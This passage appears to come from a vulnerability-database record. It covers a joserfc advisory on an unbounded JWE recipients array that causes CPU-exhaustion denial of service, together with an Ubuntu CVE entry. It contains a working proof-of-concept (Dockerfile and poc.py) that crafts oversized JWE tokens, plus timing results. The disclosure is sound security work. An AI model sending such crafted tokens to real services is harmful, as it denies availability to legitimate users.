mode.\nRUN pip install --no-cache-dir /app/repo\n# Copy the PoC script.\nCOPY vuln-001/poc.py /app/poc.py\nENTRYPOINT [\"python3\", \"/app/poc.py\"]\n```\n\nBuild and run (source is used unmodified; container has no network access):\n\n```bash\ndocker build -t joserfc-vuln001 -f vuln-001/Dockerfile .\ndocker run --rm --network none joserfc-vuln001 --recipients 1 500 1500\n```\n\n**PoC logic (`poc.py`):** generates a victim RSA-2048 keypair (representing the RSA key an application would use for RSA-OAEP JWE decryption), crafts a General JSON JWE (`GeneralJSONEncryption`) wrapping a small plaintext with an attacker-chosen number `n` of RSA-OAEP recipients (all using the victim's public key, which is inherently public for JWE encryption), then calls the unmodified public API `joserfc.jwe.decrypt_json()` and measures wall-clock decrypt time, once with `verify_all_recipients=True` and once with `verify_all_recipients=False`.\n\n```python\ndef build_token(public_key, n_recipients: int) -\u003e tuple[str, int]:\n    obj = GeneralJSONEncryption({\"enc\": \"A128GCM\"}, b\"hello\")\n    for _ in range(n_recipients):\n        obj.add_recipient({\"alg\": \"RSA-OAEP\"}, public_key)\n    token = jwe.encrypt_json(obj, None)\n    size_bytes = len(json.dumps(token).encode())\n    return token, size_bytes\n\ndef measure_decrypt(token, private_key, verify_all_recipients: bool) -\u003e float:\n    registry = JWERegistry(verify_all_recipients=verify_all_recipients)\n    t0 = time.perf_counter()\n    out = jwe.decrypt_json(token, private_key, registry=registry)\n    dt = time.perf_counter() - t0\n    assert out.plaintext == b\"hello\"\n    return dt\n```\n\n**Observed results (Phase 2, inside the Docker container, `--network none`, unmodified source):**\n\n```\n[*] Attacker crafts General JSON JWE with recipients=1 ...\n    verify_all_recipients=True  -\u003e decrypt_json() succeeded, size_bytes=536 decrypt_seconds=0.002\n    verify_all_recipients=False -\u003e decrypt_json() succeeded, size_bytes=536 decrypt_seconds=0.001\n[*] Attacker crafts General JSON JWE with recipients=500 ...\n    verify_all_recipients=True  -\u003e decrypt_json() succeeded, size_bytes=198140 decrypt_seconds=0.631\n    verify_all_recipients=False -\u003e decrypt_json() succeeded, size_bytes=198140 decrypt_seconds=0.651\n[*] Attacker crafts General JSON JWE with recipients=1500 ...\n    verify_all_recipients=True  -\u003e decrypt_json() succeeded, size_bytes=594140 decrypt_seconds=1.874\n    verify_all_recipients=False -\u003e decrypt_json() succeeded, size_bytes=594140 decrypt_seconds=1.875\n[CHECK] recipient_count_ratio=1500.0x decrypt_time_ratio=937.0x\n[PASS] decrypt_json() performed one RSA private-key decrypt per attacker-supplied recipient with\n       no upper bound, and verify_all_recipients=False did not mitigate the cost.\n```\n\nIndependent static-phase (Phase 1) reproduction against the same commit, outside the container, produced the same linear-scaling behavior (recipients=500 → 198,140 bytes → 0.627s; recipients=1500 → 594,140 bytes → 1.957s), and the original report's own local run showed recipients=1000 → 396,140 bytes → 1.254s; recipients=3000 → 1,188,140 bytes → 3.762s. In every run, `plaintext=b'hello'` was correctly recovered, confirming each crafted request is fully valid input, not malformed data rejected early.\n\nIn all cases, `verify_all_recipients=False` produced decrypt times statistically identical to `verify_all_recipients=True` for the same recipient count (e.g. 500 recipients: 0.631s vs 0.651s; 1500 recipients: 1.874s vs 1.875s), empirically confirming that this documented flag does not mitigate the CPU cost.\n\n### Impact\n\nThis is a remote, unauthenticated CPU-exhaustion Denial-of-Service vulnerability (CWE-400, Uncontrolled Resource Consumption). Any application that:\n\n- exposes an endpoint (or message-processing path) that accepts JWE data in General JSON Serialization form, and\n- decrypts it using `joserfc.jwe.decrypt_json()` with an RSA-based key-management algorithm (e.g. RSA-OAEP, RSA1_5)\n\nis impacted. The attacker needs only the victim's RSA public key — which is inherently public, since it is used by legitimate senders to encrypt JWEs to the victim. Because request size scales linearly with recipient count (~396 bytes per recipient) while attacker-inflicted server CPU cost scales in lock-step with recipient count, the attacker gets a highly favorable cost asymmetry: e.g. a ~1.2 MB request forced ~3.8 seconds of RSA-2048 private-key decrypt operations in testing. Repeated or concurrent requests of this shape can exhaust available CPU/worker capacity on the victim service, degrading or denying availability for legitimate users. Confidentiality and integrity are not affected (no key material or plaintext is disclosed or corrupted); the impact is availability only, matching the CVSS vector's `C:N/I:N/A:H`.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 dynamic reproduction environment\n# Unbounded JWE General JSON \"recipients\" array causes CPU exhaustion via\n# repeated RSA private-key decryption in joserfc's decrypt_json().\n#\n# This image builds joserfc from the local repository clone (unmodified\n# source) and provides a Python environment to run poc.py against it.\n\nFROM python:3.12-slim\n\nWORKDIR /app\n\n# Copy the exact repository source under test (unmodified).\nCOPY repo /app/repo\n\n# Install joserfc from local source in editable/normal mode.\nRUN pip install --no-cache-dir /app/repo\n\n# Copy the PoC script.\nCOPY vuln-001/poc.py /app/poc.py\n\nENTRYPOINT [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nVULN-001 dynamic PoC: Unbounded JWE General JSON \"recipients\" array causes\nCPU exhaustion (CWE-400) via repeated RSA private-key decryption inside\njoserfc's public parser API `joserfc.jwe.decrypt_json()`.\n\nData flow reproduced end to end (unmodified joserfc source):\n  1. joserfc.jwe.decrypt_json()                         (src/joserfc/jwe.py:214)\n  2. -\u003e extract_general_json()                           (src/joserfc/_rfc7516/json.py:73)\n  3. -\u003e for item in data[\"recipients\"]: (NO COUNT CAP)   (src/joserfc/_rfc7516/json.py:84)\n  4. -\u003e perform_decrypt() -\u003e _perform_decrypt()          (src/joserfc/_rfc7516/message.py:93-112)\n  5. -\u003e for recipient in obj.recipients: decrypt_recipient(...) for EVERY recipient,\n        regardless of registry.verify_all_recipients\n  6. -\u003e RSAAlgModel.decrypt_cek(): op_key.decrypt(...)   (src/joserfc/_rfc7518/jwe_algs.py:74-83)\n     performs one real RSA-2048 private-key decrypt operation per recipient.\n\nThis script:\n  (a) builds a victim RSA keypair (2048-bit, as an application would use for\n      RSA-OAEP JWE decryption),\n  (b) crafts a General JSON JWE token with an attacker-chosen number of\n      RSA-OAEP recipients, all wrapping the SAME small ciphertext,\n  (c) measures wall-clock CPU time joserfc's unmodified decrypt_json() spends\n      processing the token as the recipient count grows,\n  (d) shows that setting verify_all_recipients=False (the only public\n      mitigation knob mentioned in the docs) does NOT reduce the CPU cost,\n      because the decrypt loop in message.py always attempts every\n      recipient's decrypt_cek() before that flag is ever consulted.\n\nDeterministic PASS criteria (printed as machine-readable JSON lines):\n  - decrypt_json() succeeds (returns correct plaintext) for all recipient counts.\n  - decrypt_seconds scales roughly linearly with recipient count (attacker\n    control over victim CPU cost, unbounded by the library).\n  - decrypt_seconds for verify_all_recipients=False is statistically the same\n    order of magnitude as verify_all_recipients=True for the same recipient\n    count (proving the documented mitigation does not help).\n\"\"\"\n\nimport argparse\nimport json\nimport time\n\nfrom joserfc import jwe, jwk\nfrom joserfc.jwe import GeneralJSONEncryption\nfrom joserfc.jwe import JWERegistry\n\n\ndef build_token(public_key, n_recipients: int) -\u003e tuple[str, int]:\n    \"\"\"Craft a General JSON JWE with n_recipients RSA-OAEP recipients,\n    all wrapping the same small plaintext. This is exactly the shape an\n    unauthenticated network attacker can send to any endpoint that calls\n    jwe.decrypt_json() on external input, as documented in\n    docs/guide/jwe.rst.\"\"\"\n    obj = GeneralJSONEncryption({\"enc\": \"A128GCM\"}, b\"hello\")\n    for _ in range(n_recipients):\n        obj.add_recipient({\"alg\": \"RSA-OAEP\"}, public_key)\n    token = jwe.encrypt_json(obj, None)\n    size_bytes = len(json.dumps(token).encode())\n    return token, size_bytes\n\n\ndef measure_decrypt(token, private_key, verify_all_recipients: bool) -\u003e float:\n    registry = JWERegistry(verify_all_recipients=verify_all_recipients)\n    t0 = time.perf_counter()\n    out = jwe.decrypt_json(token, private_key, registry=registry)\n    dt = time.perf_counter() - t0\n    assert out.plaintext == b\"hello\", f\"unexpected plaintext: {out.plaintext!r}\"\n    return dt\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"VULN-001 dynamic reproduction PoC\")\n    parser.add_argument(\n        \"--recipients\",\n        type=int,\n        nargs=\"+\",\n        default=[1, 500, 1500],\n        help=\"Recipient counts to test (attacker-controlled array length).\",\n    )\n    parser.add_argument(\n        \"--key-bits\",\n        type=int,\n        default=2048,\n        help=\"RSA key size of the victim's decryption key.\",\n    )\n    args = parser.parse_args()\n\n    print(f\"[*] Generating victim RSA-{args.key_bits} keypair (RSA-OAEP JWE key)...\")\n    private_key = jwk.RSAKey.generate_key(args.key_bits)\n    public_key = jwk.RSAKey.import_key(private_key.as_dict(private=False))\n    print(\"[*] Victim private key generated locally; public key is what an attacker would normally have.\")\n\n    results = []\n    for n in args.recipients:\n        print(f\"\\n[*] Attacker crafts General JSON JWE with recipients={n} ...\")\n        token, size_bytes = build_token(public_key, n)\n\n        dt_verify_true = measure_decrypt(token, private_key, verify_all_recipients=True)\n        print(\n            f\"    verify_all_recipients=True  -\u003e decrypt_json() succeeded, \"\n            f\"size_bytes={size_bytes} decrypt_seconds={dt_verify_true:.3f}\"\n        )\n\n        dt_verify_false = measure_decrypt(token, private_key, verify_all_recipients=False)\n        print(\n            f\"    verify_all_recipients=False -\u003e decrypt_json() succeeded, \"\n            f\"size_bytes={size_bytes} decrypt_seconds={dt_verify_false:.3f} \"\n            f\"(documented 'mitigation' does NOT reduce CPU cost)\"\n        )\n\n        results.append(\n            {\n                \"recipients\": n,\n                \"size_bytes\": size_bytes,\n                \"decrypt_seconds_verify_all_true\": round(dt_verify_true, 3),\n                \"decrypt_seconds_verify_all_false\": round(dt_verify_false, 3),\n            }\n        )\n\n    print(\"\\n[RESULT_JSON] \" + json.dumps(results))\n\n    # Deterministic scaling check: CPU time for the largest recipient count\n    # must be substantially larger (order of magnitude, not noise) than for\n    # the smallest, proving attacker control over victim CPU consumption.\n    baseline = results[0][\"decrypt_seconds_verify_all_true\"]\n    worst = results[-1][\"decrypt_seconds_verify_all_true\"]\n    ratio = worst / baseline if baseline \u003e 0 else float(\"inf\")\n    recipient_ratio = results[-1][\"recipients\"] / results[0][\"recipients\"]\n    print(\n        f\"[CHECK] recipient_count_ratio={recipient_ratio:.1f}x \"\n        f\"decrypt_time_ratio={ratio:.1f}x \"\n        f\"(unbounded recipients =\u003e unbounded RSA-decrypt CPU cost, no cap in registry.py)\"\n    )\n\n    if ratio \u003c recipient_ratio * 0.3:\n        print(\"[FAIL] Decrypt time did not scale with recipient count as expected.\")\n        raise SystemExit(1)\n\n    print(\"[PASS] decrypt_json() performed one RSA private-key decrypt per attacker-supplied \"\n          \"recipient with no upper bound, and verify_all_recipients=False did not mitigate the cost.\")\n\n\nif __name__ == \"__main__\":\n    main()\n```","status":"published","published":"2026-10-30T14:54:20Z","modified":"2026-10-30T15:15:03.593269331Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:46:50.687609Z"},{"id":"UBUNTU-CVE-2026-119283","description":"joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. Prior to 1.7.5, joserfc.jwe.decrypt_json() accepts a JWE General JSON Serialization recipients array without a count limit and calls decrypt_cek() for every entry. An unauthenticated attacker who can submit a JWE to an endpoint using an RSA key-management algorithm can choose the number of private-key decryption operations performed by one request. The verify_all_recipients option does not reduce this work because the affected loop processes every recipient before consulting that setting, allowing repeated requests to exhaust service CPU without affecting confidentiality or integrity. This issue is fixed in version 1.7.5.","status":"published","published":"2026-10-29T22:17:00Z","modified":"2026-11-05T04:42:51Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-05T13:33:25.727744Z"}]}}
